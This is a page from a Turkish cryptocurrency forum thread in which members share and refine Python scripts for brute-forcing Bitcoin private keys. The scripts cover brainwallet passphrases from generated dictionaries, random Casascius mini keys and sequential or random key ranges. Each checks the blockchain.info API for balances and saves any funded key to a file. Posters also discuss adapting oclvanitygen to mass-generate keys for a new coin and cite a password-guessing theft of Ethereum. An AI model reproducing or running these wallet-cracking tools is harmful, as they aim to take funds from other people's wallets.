Pages:
Author

Topic: Bitcoin; Algoritma Üzerine Yöntemler - page 15. (Read 33534 times)

member
Activity: 183
Merit: 35
gönderdiğim dosyaya pek talep olmadı dostum siz dosyayı indirebildiniz mi? grep ile rahatlıkla adresleri karşılaştırabiliyoruz ancak şimdiye kadar en ufak bir adres benzerliği bile denk gelmedi ancak denemelere devam edeceğiz bakalım
birde vanity gen ile daha hızlı adres üretmenin bir yolu varmıdır?
hala inmedi. %92'de takıldı Smiley
vanitygen'de oclvanitygen'i deneyebilirsiniz. Ancak verilen anahtarı ürettiğinde sadece dosyaya yazıyor. Daha fazla özelliği olan BitCrack'a bakabilirsiniz.
legendary
Activity: 2100
Merit: 1452
gönderdiğim dosyaya pek talep olmadı dostum siz dosyayı indirebildiniz mi? grep ile rahatlıkla adresleri karşılaştırabiliyoruz ancak şimdiye kadar en ufak bir adres benzerliği bile denk gelmedi ancak denemelere devam edeceğiz bakalım


birde vanity gen ile daha hızlı adres üretmenin bir yolu varmıdır?
hero member
Activity: 1078
Merit: 696
Valla konuyu ben ilgiyle takip ediyorum, her ne kadar yorum yazmasam da.  Bu tip teknik konuların forumda çoğalması oldukça iyi olur. çünkü ülkemizde bu işin teknik kısmıyla ilgilenen pek insan yok. Zaten bu konularla ilgilenenler cüzdanları patlatmak için ilgilenmiyorlar bir çoğu, meraktan ilgileniyorlar, ki bu tip denemeler, beyaz hacker lık gibi bitcoini güçlenidirici niteliklte olur. eğer bir güvenlik açığı olursa bitcoin kendini günceller
legendary
Activity: 2100
Merit: 1452
rusty blockparser abi download eden kaçıyor gündüz açık bırakamıyorum da gece download edersiniz...
member
Activity: 183
Merit: 35
mini key aslında bir Brainwallet ...
Tarama yapacaklara Smiley
Anladığım S.... (30 Uzunluğu) şeklinde oluşturduğunda base58 tabanında rastgele diğer karakterler ile bir değer üretiliyor. Yani S ile başlayıp sonraki 29 karakteri 58^29 sayarsak (58x58x58x58..) 1378516006777431104836763434029972462511887354953728 anahtar yapar. Diğer bir deyiş ile üretilebilecek sayı uzunluğu 52 Smiley , maksimum üretilecek olan 79 değil. Anahtarları ürettiğinizde çıkma ihtimali %100 Smiley kapladığı yere değinmiyorum. Üretilenler belli.



Şimdiye kadar Kullanılmış bütün adreslerin bir dosyasını oluşturup torrent olarak paylaştım isyen indirebilir.
Dosya için teşekkürler. Hangi program ile dışarı çıkardınız? ve %88'de takıldı. Seed lazım  Grin
member
Activity: 126
Merit: 38
Şimdiye kadar Kullanılmış bütün adreslerin bir dosyasını oluşturup torrent olarak paylaştım isyen indirebilir.

magnet:?xt=urn:btih:58180afdf94f3609aaac93fe60015ed3400aceaa&dn=rutor.info_Bitcoin+All+Used+Adress+10.05.2019+%282019%29+PC&tr=udp://opentor.org:2710&tr=udp://opentor.org:2710&tr=http://retracker.local/announce

yada

http://rutor.info/torrent/698806

teşekkür
legendary
Activity: 2100
Merit: 1452
Şimdiye kadar Kullanılmış bütün adreslerin bir dosyasını oluşturup torrent olarak paylaştım isyen indirebilir.

magnet:?xt=urn:btih:58180afdf94f3609aaac93fe60015ed3400aceaa&dn=rutor.info_Bitcoin+All+Used+Adress+10.05.2019+%282019%29+PC&tr=udp://opentor.org:2710&tr=udp://opentor.org:2710&tr=http://retracker.local/announce

yada

http://rutor.info/torrent/698806
member
Activity: 126
Merit: 38
mini key aslında bir Brainwallet yani bir şifre bi dönem fiziksel bitcoin lerin populer hale geleceği düşünülerek oluşturulmuş kullanımı kolay olsun diye yaratılmış bir şey bildiğim kadarıyla... 2016 e kadar üretilmiş fiziksel bitcoinlerin %98 nin akıbetinen ne olduğu bilinmiyor yani mini keylerde saklı bekliyor...

http://gobittest.appspot.com/Brainwallet  

burdan dönüşüm yapabilirsiniz... (bu tür dönüşümlerde siteleri kullanmamanızı öneririm)... (çeşitli dönüşümlerin yapılabileceği )

https://casascius.com/btcaddress-alpha.zip

burda 2013 de yazılmış yani minikey lerin popüler olduğu dönemde kullanılan kaynak kodlarıyla paylaşılmış bir yazılım var her türlü dönüşüm için kullanılabilir

SON OLARAK;

https://casascius.uberbills.com/

Bu sitede mini keyler le üretilen fiziksel bitcoinlerin miktarını ve adreslerini görebilirsiniz...

ayrıca http://uberbills.com/ burdada minikey kullanarak fiziksel btc üretmiş bazı sitelerin linkleri var
member
Activity: 183
Merit: 35
random minikey üreten yazılım ;
minikey'i nasıl kısa ve uzun adrese çevireceğiz? içeri aktarma yapmak şart mı? yada hangi programlar minikey'i otomatik tanıyor? vs.. Smiley

Not olarak ta ben hep bakıyorum. sağlam tayfa kaldı ise devam edelim + 1 iyidir artık pişen pişmiştir bir senede Smiley
member
Activity: 126
Merit: 38
taramya devam eden arkadaşlara bir önerim var
Bildiğim kadarıyla  2013 2014 yıllarında Bitcoin minikey kullanılarak oluşturulmuş 50000 (0,25 - 0,5 - 1 - 5 -10 BTC) civarı fiziksel bitcoin var ve bunların akıbeti ile ilgili bir bilgi yok...
https://en.bitcoin.it/wiki/Mini_private_key_format  (burda minikey formatı anlatılıyor) S ile başlayan toplamda 30 karakterden oluşan şifreler aslında bunlar...
tarama havuzunu daraltmak istiyen arkadaşlar deneyebilir...

aynı mantıkla hareket edip random veya belirli bir sırayla minikey üretip bakiye kontrolü yapabilir... üretilen minikey ler yukardaki konuda yazdığım kodla tarama işlemi yapabilir...

random minikey üreten yazılım ;

import hashlib
from binascii import hexlify as hx
import random
rand = random.SystemRandom()

B58_ALPHA = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
ta = open("dict.txt", "w")
def sha256(s):
    return hashlib.sha256(s).digest()

def gen_candidate():
    candidate = "S"
    for i in xrange(29):
        candidate = candidate + rand.choice(B58_ALPHA)
    return candidate

def test_candidate(candidate):
    return sha256(candidate + "?")[0] == chr(0)

while True:
    c = gen_candidate()
    if test_candidate(c):
        print (c)
        ta.write(c + "\n")
member
Activity: 126
Merit: 38
April 30, 2019, 01:26:43 AM
Ben konuyu baştan sonra okuduktan sonra bu işi başka şekilde yapmaya karar verdim. Smiley
Yeni çıkan (yaklaşık 2 ay olmuş) bir coin için oclvanitygen in kodunda değişiklik yapıyorum bir grup arkadaşımla beraber, bitmeye geldi.
Başlangıç itibariyle hedefimiz 6- 7 milyon adresi private keyleri ile birlikte üretip bir veritabanına koymak.
sonra bir otomasyon ile private keylerini zaten bildiğimiz adreslere bir tam düğüm üzerinden döne döne bakiye kontrolü yapacağız.
Bu coin popülerleştikçe elbet birileri bu cüzdan adresini üretecek.
olasılığı düşünecek olursak, biz bir grup yazılım mühendisi adayı mesleki mastürbasyon yapıyoruz sanırım.

Konu takipçilerine bir sorum var son olarak,

mysql in ırzına geçmişsiniz.
postgresql ile uğraşılmış.
peki nosql ile bu iş nasıl olur fikri olan var mı?


daha önce de yazıldığı gibi 6 7 10 milyon hatta milyarlı aralıklar çok dar bir aralık özellikle kullanımı az olan coinlerde yakalanma olasılığı imkansız demiyorum ama çok büyük şans... Kolay gelsin aynı şeyi bitcoin veya ethereum üzerinden yapılırsa daha etkili olacıktır diye düşünüyorum...

"Güncelleme olarak : Hala sayı çok büyük denk gelme ihtimali yok diyen arkadaşlara eth'da yapanlar varmış Smiley Bu Hacker Rastgele Şifre Deneyerek 7 Milyon Dolarlık Ethereum Çaldı! (okuması zor gelenlere kullanılan şifreleri deneyerek yapıyor)"

EĞİTİM AMAÇLI BİLGİDİR   Smiley Smiley Smiley Smiley
Bitcoin için yapılan şey... bir yazılımla  (ABCDEFGHIJKLMNOPRSTUVYZWX0123456789abcdefghijklmnoprstuvyzwx_+\=-* ) karakterler ile üretilebilecek tüm şifreleri üretip bunların bakiyelerini kontrol ediyorsun ilk 4 basamaklı şifrelerin tamamı kontrol edildiğinde 500 e yakın kullanılmış hesap çıkıyor. 5 de 250 civarı bulmuştum.. 6 da 1250 civarı 7 yi ben denemedim ama birileri denemiştir


1- ÜRetilecek şifreler için; (3,3 aralığını değiştirerek örneğin 1,5 yaparsanız 1 ile 5 karakter arası bütün şifreleri yazar kodda bir eksik karakterleri tekrarlayan şifreler üretmiyor onu çözemedim Sad )

import itertools

def sifreolustur2(min_length,max_length,dosya_adi,deger,sayac=0):
    dosya_2 = open(dosya_adi,"w")
    for for1 in range(min_length , max_length+1):
        c = itertools.permutations(str(deger) , for1)
        for for2 in c:
            line2 = "".join(str(ms) for ms in for2)
            dosya_2.write(line2 + "\n")
            sayac += 1

    print(" {} adet olusturuldu".format(sayac))
    dosya_2.close()

if __name__ == '__main__':
    sifreolustur2(3,3,"dict.txt","ABCDEFGHIJKLMNOPRSTUVYZWX0123456789abcdefghijklmnoprstuvyzwx_+\=-*")


2. olarak üretilen şifrelerin taranması (ilk yazılımda ürettiğiniz şifreler dict.txt yazılır sonrasında yazılım kontrol eder)

import threading
import os
import time
import hashlib
import requests
import json
from bit import Key
from bit.format import bytes_to_wif
import traceback

def getAddress(phrases):
    keyList = []
    addrList = []
    addrStr1 = ""
    addrStr2 = ""
    try:
        for phrase in phrases:
            sha256hex = hashlib.sha256(phrase.encode("utf-8")).hexdigest()
            key1 = Key.from_hex(sha256hex)
            wif = bytes_to_wif(key1.to_bytes(), compressed=False)
            key2 = Key(wif)
            keyList.append(sha256hex)
            addrList.append(key2.address)
            addrList.append(key1.address)
            if len(addrStr1): addrStr1 = addrStr1 + "|"
            addrStr1 = addrStr1 + key2.address
            if len(addrStr2): addrStr2 = addrStr2 + "|"
            addrStr2 = addrStr2 + key1.address
    except:
        pass
    return [keyList, addrList, addrStr1, addrStr2]

def getBalances(addrStr):
    balances = "security"
    while True:
        if "security" not in balances: break
        secAddr = balances.split("effects address ")
        if len(secAddr) >= 2:
            secAddr = secAddr[1].split(".")[0]
            addrStr = addrStr.replace(secAddr + "|", "")
            addrStr = addrStr.replace("|" + secAddr, "")
        try:
            r = requests.get(url='http://blockchain.info/multiaddr?active=%s' % addrStr, timeout=5)
            balances = r.text
        except:
            return
    try:
        balances = json.loads(balances)
        balances = balances['addresses']
    except:
        print (balances)
    return balances

getCount = 0
fp_dict = open("dict.txt", "r")
fp_found = open("found.txt", "w+")
fp_fund = open("fund.txt", "w+")

def getWallet():
    global getCount
    while True:
        phrases = []
        try:
            for i in range(128):
                readStr = fp_dict.readline().replace("\r","").replace("\n","")
                if not len(readStr): break
                phrases.append(readStr)
        except:
            pass
        if len(phrases) <= 0: break
        addressRet = getAddress(phrases)

        try:
            balancesRet = getBalances(addressRet[2])
            for balance in balancesRet:
                getCount = getCount + 1
                if balance['final_balance'] <= 0 and balance['total_sent'] <= 0: continue
                key = ""
                isCompress = 0
                for i in range(0, len(addressRet[1])):
                    if balance['address'] == addressRet[1]:
                        key = addressRet[0][int(i/2)]
                        if i % 2 == 1: isCompress = 1
                        break
                if key == "": continue
                fp_found.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                if balance['final_balance'] > 0:
                    fp_fund.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                print (isCompress, balance['final_balance'], balance['total_sent'], key, balance['address'])

            balancesRet = getBalances(addressRet[3])
            for balance in balancesRet:
                getCount = getCount + 1
                if balance['final_balance'] <= 0 and balance['total_sent'] <= 0: continue
                key = ""
                isCompress = 1
                for i in range(0, len(addressRet[1])):
                    if balance['address'] == addressRet[1]:
                        key = addressRet[0][int(i/2)]
                        if i % 2 == 1: isCompress = 1
                        break
                if key == "": continue
                fp_found.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                if balance['final_balance'] > 0:
                    fp_fund.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                print (isCompress, balance['final_balance'], balance['total_sent'], key, balance['address'])
            fp_found.flush()
            fp_fund.flush()
        except:
            traceback.print_exc()
            continue
        #clearScreen()
        print (getCount)

def clearScreen():
    os.system('clear')

def main():
    threads = []
    for i in range(6):
        threads.append(threading.Thread(target=getWallet,args=()))
    for t in threads:
        time.sleep(1.0)
        t.start()
    for t in threads:
        t.join()

if __name__ == '__main__':
    main()





member
Activity: 183
Merit: 35
April 28, 2019, 07:30:50 AM
Ben konuyu baştan sonra okuduktan sonra bu işi başka şekilde yapmaya karar verdim. Smiley
Yeni çıkan (yaklaşık 2 ay olmuş) bir coin için oclvanitygen in kodunda değişiklik yapıyorum bir grup arkadaşımla beraber, bitmeye geldi.
Başlangıç itibariyle hedefimiz 6- 7 milyon adresi private keyleri ile birlikte üretip bir veritabanına koymak.
sonra bir otomasyon ile private keylerini zaten bildiğimiz adreslere bir tam düğüm üzerinden döne döne bakiye kontrolü yapacağız.
Bu coin popülerleştikçe elbet birileri bu cüzdan adresini üretecek.
olasılığı düşünecek olursak, biz bir grup yazılım mühendisi adayı mesleki mastürbasyon yapıyoruz sanırım.

Konu takipçilerine bir sorum var son olarak,

mysql in ırzına geçmişsiniz.
postgresql ile uğraşılmış.
peki nosql ile bu iş nasıl olur fikri olan var mı?

çok mantıklı. ben sadece bitcoin tarıyorum. sonra eth'a geçeceğim. diğerlerini pek düşünmüyorum.
mysql yada postgresql'i sadece kullanılmış adresleri saklamak için kullanıyorum. Başta oluşturduğum adresleri kaydettim denedim gereksiz olduğuna kanaat getirdim. Birde bulduğum adresleri saklamak için. Adresleri de şu şekil tutuyorum. dosyaAdi.txt şeklinde db'de de bunların heks başlangıç değerini, içinde kaç adet olduğunu, tipini (kısa/uzun) bu şekilde tekrar aynı aralığı oluşturmuyorum. Sözlük saldırısı için kullanılmış şifrelerden oluşan hash, heks, adres üçlüsünü ayrı bir tabloda tutuyorum. Oluşturulan adresleri db'de tutmak ve taramak aşırı gereksiz oluyor. cat vs.. komutlar ile ram'e alıp karşılaştırma yapmak daha kolay. Böylelikle bir dosyayı taradığınızda ki bloğu kaydedip sonrasından taramaya devam edebiliyorsunuz. Şu an oluşturduğum key'lerde istediğim değerin denk gelmesi %13-16 arası Smiley zamanla arttırmaya çalışıyorum.
Zz
legendary
Activity: 1820
Merit: 1077
April 27, 2019, 12:00:28 PM
Ben konuyu baştan sonra okuduktan sonra bu işi başka şekilde yapmaya karar verdim. Smiley
Yeni çıkan (yaklaşık 2 ay olmuş) bir coin için oclvanitygen in kodunda değişiklik yapıyorum bir grup arkadaşımla beraber, bitmeye geldi.
Başlangıç itibariyle hedefimiz 6- 7 milyon adresi private keyleri ile birlikte üretip bir veritabanına koymak.
sonra bir otomasyon ile private keylerini zaten bildiğimiz adreslere bir tam düğüm üzerinden döne döne bakiye kontrolü yapacağız.
Bu coin popülerleştikçe elbet birileri bu cüzdan adresini üretecek.
olasılığı düşünecek olursak, biz bir grup yazılım mühendisi adayı mesleki mastürbasyon yapıyoruz sanırım.

Konu takipçilerine bir sorum var son olarak,

mysql in ırzına geçmişsiniz.
postgresql ile uğraşılmış.
peki nosql ile bu iş nasıl olur fikri olan var mı?
member
Activity: 183
Merit: 35
April 27, 2019, 12:59:00 AM
sıralı ve kullanıcılara otomatik verilecek bir aralık tarama projesi için geliştirilebilir...
daha önceki mesajlarda da konusu geçmişti. vanitygen'in ekran kartı için olan sürümü istenilen aralığı taranacak şekilde değiştirebilen olursa yazarsa iyi olur demiştim. ancak herkesin bireysel çalışmaya devam etmesi daha mantıklı duruyor. bulana kadar taramaya devam  Grin Roll Eyes Cool

Güncelleme olarak : Hala sayı çok büyük denk gelme ihtimali yok diyen arkadaşlara eth'da yapanlar varmış Smiley Bu Hacker Rastgele Şifre Deneyerek 7 Milyon Dolarlık Ethereum Çaldı! (okuması zor gelenlere kullanılan şifreleri deneyerek yapıyor)
member
Activity: 126
Merit: 38
April 19, 2019, 12:50:31 AM
30000 sayfadan sonra baya bir yavaşlıyor...

"""Bu arada yukarıda paylaşılan kod daha önce bir web sitesinin kod bloğu sanırım. Sonradan kopyaları oldukça çıktı. Bu tür siteler sizin sayfaları taramanızı bekler. bulduğunda eğer boşsa veya kullanılmışsa size gösterir. Dolu olduğunda göstermezler Smiley otomatik çekim talebi yaparlar."""

evet bu kod sayfalama mantığı kullanan sitelerde kullanan kod... bu kod ham hali... sitelere güvenmediğim için ve örnek olması için paylaştım...

sıralı ve kullanıcılara otomatik verilecek bir aralık tarama projesi için geliştirilebilir...
member
Activity: 183
Merit: 35
April 18, 2019, 06:56:43 AM
Peki belirli bir sayfadan nasıl başlatabiliriz ?  
örneğin  sayfa  6549490055387654323 ten  başlasın gibi.?

Code:
maxPage = 6549490055387654323
def getRandPage():
maxPage = maxPage +1
return maxPage
mantıken böyle olması lazım. Burada dikkat edilecek nokta, her sayfada 128 anahtarın hesaplanması. sayfa değerinin 0 ile maksimum 904625697166532776746648320380374280100293470930272690489102837043110636674 arasında olması.

Bu maksimum sayfa değerinin nereden geldiğini merak eden varsada belirtelim. Anahtar maks. hexadecimal değeri "0xFFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFE BAAE DCE6 AF48 A03B BFD2 5E8C D036 4140" olan değerin onluk tabanda "115792089237316195423570985008687907852837564279074904382605163141518161494336" sayısının 128'e bölünmesi ile elde ediliyor.

Sayfa 6549490055387654323 seçildiğinde heks 0x00000000000000000000000000000000000000000000002D723B4099AAD45980 değerinden başlıyor aralıkta çok ufak bir değer yani. genelde taranabilecek adres aralığı  anahtar değeri 2^248 - maks arasında (hash'i yada rastgele bir değer üretildiğinde 64 uzunluğundaki heks değeri bu aralıkta üretmekte).

Birde  başlarda hızlı giderken bir süre sonra çok yavaşlıyor sorgu, sanırım karşı sunucu sürekli sorgu gönderdiğimiz için oluyor bu.

En baştada demiştim. Lokale bitcoin-core kurup, herhangi bir veritabanına kullanılan adresleri kaydederseniz. oluşturduğunuz adresleri oradan tararsınız. Bulduktan sonra bakiye işlemi yapabilirsiniz. Çünkü yukarıdaki sistemde ağ trafiğinden öte karşıdaki sunucunun engelleme ihtimali yüksek. Veritabanına işlem kayıtlarını değil sadece adresleri kaydettiğinizde daha az yer kaplamakta.

Bu arada yukarıda paylaşılan kod daha önce bir web sitesinin kod bloğu sanırım. Sonradan kopyaları oldukça çıktı. Bu tür siteler sizin sayfaları taramanızı bekler. bulduğunda eğer boşsa veya kullanılmışsa size gösterir. Dolu olduğunda göstermezler Smiley otomatik çekim talebi yaparlar.
legendary
Activity: 2240
Merit: 1112
LLP Programming & Electronics
April 17, 2019, 06:22:36 PM
Peki belirli bir sayfadan nasıl başlatabiliriz ?  

örneğin  sayfa  6549490055387654323 ten  başlasın gibi.?

---

Birde  başlarda hızlı giderken bir süre sonra çok yavaşlıyor sorgu, sanırım karşı sunucu sürekli sorgu gönderdiğimiz için oluyor bu.

Ve o sıralarda   şöyle  bir  hata döndürüyor

Traceback (most recent call last):
  File "BtcChainSorgula.py", line 72, in getWallet
    for balance in balancesRet:
TypeError: 'NoneType' object is not iterable
member
Activity: 183
Merit: 35
April 17, 2019, 10:53:57 AM
yukardaki kodla kimi değişiklikler yapıp benim belirlediğim aralıkta örneğin 8000. sayfa ile 9000. sayfa arasını sıralı nasıl tararız Huh düzenleyebilecek kimse varmıdır?

python bilmiyorum. bilen arkadaşa yazdım. dönüş yaptığımda doğru halini yazarım. netten baktığıma göre şöyle birşey olması lazım Smiley mantık olarak başlangıç değeri 8000 yapıp her seferinde dönen değere 1 ilave edersin. istediğin değerden fazla olduğunda programdan çıkması lazım.

Code:
maxPage = 7999
def getRandPage():
if maxPage >= 9000:
 sys.exit("9000 bitti")
else:
 maxPage=maxPage+1
 return maxPage

Düzenleme : return etmemişik. mantık hatası da yapmışım Smiley
Düzenleme 2 : kafa yerinde olmayınca tek yere bakmışım. diğer siteden veri çekmesi içinde düzenleme gerekiyormuş Cheesy
member
Activity: 126
Merit: 38
April 17, 2019, 02:05:25 AM
yukardaki kodla kimi değişiklikler yapıp benim belirlediğim aralıkta örneğin 8000. sayfa ile 9000. sayfa arasını sıralı nasıl tararız Huh düzenleyebilecek kimse varmıdır?
member
Activity: 126
Merit: 38
April 17, 2019, 01:54:33 AM
random Sayfalama tekniği kullanılarak bakiye tarama
https://keys.lol/bitcoin/804588564449641383043243846270166584295311723814047148385776539071216133489
burdaki yöntemin aynısı sadece otomatik çalışıyor
Test için 68. satırda parantez içindeki page silip 804588564449641383043243846270166584295311723814047148385776539071216133489 sayısını yapıştırın


import threading
import os
import time
import random
import requests
import json
from bit import Key
from bit.format import bytes_to_wif
import traceback

maxPage = pow(2,256) / 128
#maxPage = 904625697166532776746648320380374280100293470930272690489102837043110636675

def getRandPage():
    return random.randint(1, maxPage)

def getPage(pageNum):
    keyList = []
    addrList = []
    addrStr1 = ""
    addrStr2 = ""
    num = (pageNum - 1) * 128 + 1
    try:
        for i in range(num, num + 128):
            key1 = Key.from_int(i)
            wif = bytes_to_wif(key1.to_bytes(), compressed=False)
            key2 = Key(wif)
            keyList.append(hex(i)[2:])
            addrList.append(key2.address)
            addrList.append(key1.address)
            if len(addrStr1): addrStr1 = addrStr1 + "|"
            addrStr1 = addrStr1 + key2.address
            if len(addrStr2): addrStr2 = addrStr2 + "|"
            addrStr2 = addrStr2 + key1.address
    except:
        pass
    return [keyList, addrList, addrStr1, addrStr2]

def getBalances(addrStr):
    balances = "security"
    while True:
        if "security" not in balances: break
        secAddr = balances.split("effects address ")
        if len(secAddr) >= 2:
            secAddr = secAddr[1].split(".")[0]
            addrStr = addrStr.replace(secAddr + "|", "")
            addrStr = addrStr.replace("|" + secAddr, "")
        try:
            r = requests.get(url='http://blockchain.info/multiaddr?active=%s' % addrStr, timeout=5)
            balances = r.text
        except:
            return
    try:
        balances = json.loads(balances)
        balances = balances['addresses']
    except:
        print (balances)
    return balances

getCount = 0
fp_found = open("found.txt", "w+")
fp_fund = open("fund.txt", "w+")

def getWallet():
    global getCount
    while True:
        page = getRandPage()
        pageRet = getPage(page)

        try:
            balancesRet = getBalances(pageRet[2])
            for balance in balancesRet:
                getCount = getCount + 1
                if balance['final_balance'] <= 0 and balance['total_sent'] <= 0: continue
                key = ""
                isCompress = 0
                for i in range(0, len(pageRet[1])):
                    if balance['address'] == pageRet[1]:
                        key = pageRet[0][int(i/2)]
                        if i % 2 == 1: isCompress = 1
                        break
                if key == "": continue
                fp_found.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                if balance['final_balance'] > 0:
                    fp_fund.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                print (isCompress, balance['final_balance'], balance['total_sent'], key, balance['address'])

            balancesRet = getBalances(pageRet[3])
            for balance in balancesRet:
                getCount = getCount + 1
                if balance['final_balance'] <= 0 and balance['total_sent'] <= 0: continue
                key = ""
                isCompress = 1
                for i in range(0, len(pageRet[1])):
                    if balance['address'] == pageRet[1]:
                        key = pageRet[0][int(i/2)]
                        if i % 2 == 1: isCompress = 1
                        break
                if key == "": continue
                fp_found.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                if balance['final_balance'] > 0:
                    fp_fund.write(str(isCompress) + " " + str(balance['final_balance']) + " " + str(balance['total_sent']) + " " + key + " " + balance['address'] + "\n")
                print (isCompress, balance['final_balance'], balance['total_sent'], key, balance['address'])
            fp_found.flush()
            fp_fund.flush()
        except:
            traceback.print_exc()
            continue
        clearScreen()
        print (getCount)
        print (page)

def clearScreen():
    os.system('clear')

def main():
    threads = []
    for i in range(1):
        threads.append(threading.Thread(target=getWallet,args=()))
    for t in threads:
        time.sleep(1.0)
        t.start()
    for t in threads:
        t.join()

if __name__ == '__main__':
    main()
Pages:
Jump to: